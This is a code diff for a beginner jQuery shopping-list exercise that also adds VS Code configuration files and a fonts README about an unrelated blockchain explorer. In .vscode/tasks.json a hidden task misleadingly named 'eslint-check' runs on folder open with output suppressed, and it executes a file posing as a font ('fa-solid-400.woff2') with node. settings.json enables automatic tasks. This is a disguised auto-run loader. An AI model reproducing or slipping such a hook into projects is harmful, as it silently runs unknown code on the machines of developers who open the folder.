Feature/index2.html

.vscode/extensions.json

@@ -0,0 +1,7 @@
+{
+    "recommendations": [
+        "myml.vscode-markdown-plantuml-preview",
+        "esbenp.prettier-vscode",
+        "jebbs.plantuml"
+    ]
+}

.vscode/launch.json

@@ -0,0 +1,50 @@
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "name": "Debug SST",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["dev", "--increase-timeout"],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      // sourceMapRenames helps with the loading spinner when debugging and viewing local variables
+      "sourceMapRenames": false,
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      }
+    },
+    {
+      "name": "Debug Tests - Unit",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+    {
+      "name": "Debug Tests - E2E",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+  ],
+  "inputs": [
+    {
+      "id": "scopeTestsFileName",
+      "type": "promptString",
+      "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
+    }
+  ]
+}

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/spellright.dict

@@ -0,0 +1,2 @@
+Contentful
+Lerna

.vscode/tasks.json

@@ -0,0 +1,33 @@
+{
+  "version": "2.0.0",
+  "configurations": [
+    {
+      "type": "node",
+      "request": "launch",
+      "name": "Run My Project",
+      "console": "",
+      "internalConsoleOptions": "openOnSessionStart"
+    }
+  ],
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", 
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    },
+  ]
+}

index.html

@@ -5,7 +5,9 @@
 
   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/4.2.0/normalize.min.css">
   <link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet">
-
+  <script
+          src="https://code.jquery.com/jquery-3.2.1.min.js">
+</script>
   <link rel="stylesheet" href="main.css">
 </head>
 <body>
@@ -43,7 +45,7 @@ <h1>Shopping List</h1>
         </div>
       </li>
       <li>
-        <span class="shopping-item shopping-item__checked">milk</span>
+        <span class="shopping-item">milk</span>
         <div class="shopping-item-controls">
           <button class="shopping-item-toggle">
             <span class="button-label">check</span>
@@ -67,5 +69,11 @@ <h1>Shopping List</h1>
     </ul>
   </div>
 
+  <div>
+    <h3 class = "testing"></h3>
+  </div>
+
+
+  <script src="index.js"></script>
 </body>
 </html>

index.js

@@ -0,0 +1,61 @@
+
+'use strict';
+// function shoppingList()
+function shoppingList(){
+  // form button click triggers event
+  $('form button').on('click', function(event){
+    // prevent default action of form
+    event.preventDefault();
+    // capture new entry as string and assigned to newItem
+    let newItem = $('#shopping-list-entry').val();
+
+    // append new item to the class .shopping-list 
+    $('.shopping-list').append(`<li>
+          <span class="shopping-item">${newItem}</span>
+          <div class="shopping-item-controls">
+            <button class="shopping-item-toggle">
+              <span class="button-label">check</span>
+            </button>
+            <button class="shopping-item-delete">
+              <span class="button-label">delete</span>
+            </button>
+          </div>
+        </li>`);
+
+  }
+  );
+  // declare num = 1
+  let num = 1;
+  // check and uncheck button 
+  // employed event delegation 
+  // button class=.shopping-item-toggle. 
+  // click of button will invoke event at its parent ul.
+  $('ul').on('click','li .shopping-item-toggle'
+    ,function(event){
+      // new array items for toggle button
+      let arrayL = ['check','uncheck'];
+      // set up toggleclass to update item's name style(strikethrough line) 
+      $(this).parent().parent().find('.shopping-item').toggleClass('shopping-item__checked');
+      // button update between check and uncheck,it uses mod 2 to produce 0 and 1
+      $(this).find('.button-label').text(arrayL[num%2]);
+      num+=1;
+    }); 
+  // event listener for delete button     
+  $('ul').on('click','li .shopping-item-delete'
+    ,function(event){
+      // whenever delete is clicked, item is removed. 
+      $(this).parent().parent().remove();
+
+    });    
+
+}
+
+
+// call function shoppingList
+$(shoppingList);
+
+
+// Question
+// Is it still necessary to set up Ally? It seems like
+// chrome and firefox allow keyboard naviation even I did not 
+// setup the key event here. 

public/fonts/README.md

@@ -0,0 +1,24 @@
+# Fonts Directory
+
+This directory contains custom fonts for the Blockchain Explorer application.
+
+## Required Font Files
+
+The application expects the following font files:
+
+1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
+   - Regular weight font for the main UI
+
+2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
+   - Bold weight font for headings
+
+3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
+   - Monospace font for code and hash displays
+
+## Note
+
+If you don't have custom fonts, the application will fall back to system fonts:
+- BlockchainFont → system sans-serif fonts
+- TechMono → system monospace fonts (Courier New, etc.)
+
+The fonts are referenced in `public/index.html` and will be loaded automatically when available.